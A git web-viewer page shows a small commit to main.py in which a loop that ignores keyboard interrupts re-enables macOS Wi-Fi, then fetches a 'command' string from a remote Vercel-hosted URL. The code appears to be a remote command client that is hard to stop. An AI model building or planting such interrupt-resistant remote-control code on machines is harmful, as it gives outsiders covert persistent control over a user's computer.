summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-08-27 23:24:18 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-08-27 23:24:18 +0800
commit8535d23492d153727086de40af406b34927d8703 (patch)
tree28ee3b95ad1decb7eee186774a6f36365110fe39 /main.py
parent90c9453b1e85ccf48d990a4481d4d6ebbf0daaa3 (diff)
updated
Diffstat (limited to 'main.py')
-rw-r--r--main.py4
1 files changed, 4 insertions, 0 deletions
diff --git a/main.py b/main.py
index 48d8994..819552e 100644
--- a/main.py
+++ b/main.py
@@ -24,6 +24,10 @@ except KeyboardInterrupt:
while True:
# prevent keyboardinterrupt
try:
+ ossystem("/usr/sbin/networksetup -setairportpower en0 on")
+ except:
+ continue
+ try:
#get HTML
try:
command = get("https://discord-bot-command-inputter-littleblack111.vercel.app").content.decode()